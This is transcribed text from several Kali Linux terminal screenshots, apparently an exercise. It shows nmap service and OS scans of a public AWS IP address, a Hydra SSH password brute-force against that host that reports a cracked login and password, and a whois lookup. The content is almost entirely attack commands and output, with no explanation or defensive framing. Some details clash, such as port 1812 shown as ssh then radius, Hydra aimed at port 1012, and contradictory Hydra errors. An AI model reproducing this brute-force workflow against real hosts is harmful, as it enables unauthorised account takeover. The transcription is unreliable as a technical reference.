

```
Applications ▾ Places ▢ Terminal ▾ Mon 02:46 root@kali: ~  
File Edit View Search Terminal Help  
Contact us at +1.800.745.2219  
In Europe, at +44.820.300.220  
root@kali:~# xprobe 2 52.25.127.80  
bash: xprobe: command not found  
root@kali:~# xprobe2 52.25.127.80  
bash: xprobe2: command not found  
root@kali:~# pdr 52.25.127.80  
bash: pdr: command not found  
root@kali:~# xprobe  
bash: xprobe: command not found  
root@kali:~# xprobe2 -h  
bash: xprobe2: command not found  
root@kali:~# map -O -sV 52.25.127.80  
bash: map: command not found  
root@kali:~# nmap -O -sV 52.25.127.80  
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-18 02:36 EST  
Nmap scan report for ec2-52-25-127-80.us-west-2.compute.amazonaws.com (52.25.127.80)  
Host is up (0.030s latency).  
Not shown: 999 filtered ports  
PORT      STATE SERVICE  
1812/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)  
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port  
Device type: bridge  
Running: Oracle Virtualbox  
OS CPE: cpe:/o:oracle:virtualbox  
OS details: Oracle Virtualbox  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 28.68 seconds  
root@kali:~# nmap -O 52.25.127.80  
Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-18 02:40 EST  
Nmap scan report for ec2-52-25-127-80.us-west-2.compute.amazonaws.com (52.25.127.80)  
Host is up (0.22s latency).  
Not shown: 997 filtered ports  
PORT      STATE SERVICE  
22/tcp    closed  ssh  
80/tcp    closed  http  
1812/tcp  open    radius  
Device type: general purpose  
Running: QEMU  
OS CPE: cpe:/a:qemu:qemu  
OS details: QEMU user mode network gateway  
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 63.06 seconds  
root@kali:~#
```

```
Applications ▾ Places ▢ Terminal ▾ Mon 04:31 root@kali: /  
File Edit View Search Terminal Help  
Example: hydra -l user -P passlist.txt ftp://192.168.0.1  
root@kali:~# hydra -l hacker -P /root/password.txt 52.25.127.80 ssh -s 1012  
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-11-18 03:54:57  
Syntax: hydra [-l LOGIN|-L FILE] [-P PASS|-P FILE] [-c C FILE] [-e nsr] [-o FILE] [-t TASKS] [-M FILE] [-T TASKS] [-W TIME] [-w TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOUvd46] [service:  
//server[:PORT]/OPT]  
Options:  
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE  
-P PASS or -P FILE try password PASS, or load several passwords from FILE  
-C FILE colon separated "login:pass" format, instead of -l/-P options  
-M FILE list of servers to attack, one entry per line, ':' to specify port  
-t TASKS run TASKS number of connects in parallel per target (default: 10)  
-u service module usage details  
-h more command line options (COMPLETE HELP) -h  
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)  
service the service to crack (see below for supported protocols)  
OPT some service modules support additional input (-U for module help)  
Supported services: adam6900 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]:(head|get|post) http[s]:(get|post)-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-(cram|digest|md5)]s  
jmcached mongod mssql nntp oracle-listener oracle-sid pcanwhere pcnfs pop3[s] postgres radmin2 redis rexec rlogin rpcap rsh rtp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn te  
V3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra  
Don't use in military or secret service organizations, or for illegal purposes.  
Example: hydra -l user -P passlist.txt ftp://192.168.0.1  
root@kali:~# hydra -l hacker -P /root/password.txt 52.25.127.80 ssh -s 1012  
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-11-18 03:55:59  
[WARNING] Many ssh configurations limit the number of parallel tasks, it is recommended to reduce the tasks; use -t 4  
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (1:1/p:10000), ~625 tries per task  
[STATUS] attacking ssh://52.25.127.80:1012/  
[STATUS] 112.00 tries/min, 112 tries in 00:01h, 9880 to do in 01:29h, 16 active  
[STATUS] 112.07 tries/min, 338 tries in 00:03h, 9644 to do in 01:26h, 16 active  
[STATUS] 105.29 tries/min, 737 tries in 00:07h, 9265 to do in 01:28h, 16 active  
[STATUS] 102.07 tries/min, 1531 tries in 00:15h, 8473 to do in 01:24h, 16 active  
[STATUS] 100.00 tries/min, 3102 tries in 00:19h, 8002 to do in 01:09h, 16 active  
[1012][ssh] host: 52.25.127.80 login: hacker password: lakeside  
1 of 1 target successfully completed, 1 valid password found  
[WARNING] Writing restore file because 3 final worker threads did not complete until end.  
[ERROR] 3 targets did not resolve or could not be connected  
[ERROR] 0 targets did not complete  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-11-18 04:30:14  
root@kali:~#
```

```
Applications ▾ Places ▢ Terminal ▾ Mon 02:27 root@kali: ~  
File Edit View Search Terminal Help  
root@kali:~# whois 52.25.127.80  
#  
# ARIN WHOIS data and services are subject to the Terms of Use  
# available at: https://www.arin.net/resources/registry/whois/tou/  
#  
# If you see inaccuracies in the results, please report at  
# https://www.arin.net/resources/registry/whois/inaccuracy_reporting/  
#  
# Copyright 1997-2019, American Registry for Internet Numbers, Ltd.  
#  
# Download  
NetRange: 52.0.0.0 - 52.31.255.255  
CIDR: 52.0.0.0/11  
Netname: AT-88-Z  
NetHandle: NET-52-0-0-0-1  
Parent: NET52 (NET-52-0-0-0-0)  
NetType: Direct Allocation  
OriginAS:  
Organization: Amazon Technologies Inc. (AT-88-Z)  
RegDate: 1991-12-19  
Updated: 2015-03-29  
Ref: https://rdap.arin.net/registry/ip/52.0.0.0  
OrgName: Amazon Technologies Inc.  
OrgId: AT-88-Z  
Address: 410 Terry Ave N.  
City: Seattle  
StateProv: WA  
PostalCode: 98109  
Country: US  
RegDate: 2011-12-08  
Updated: 2019-07-25  
Comment: All abuse reports MUST include:  
+ src IP  
+ dest IP (your IP)  
+ dest port  
+ Accurate date/timestamp and timezone of activity  
+ Intensity/frequency (short log extracts)  
+ Your contact details (phone and email) Without these we will be unable to identify the correct owner of the IP address at that point in time.  
Ref: https://rdap.arin.net/registry/entity/AT-88-Z  
OrgRoutingHandle: IPROUS-ARIN  
OrgRoutingName: IP Routing
```



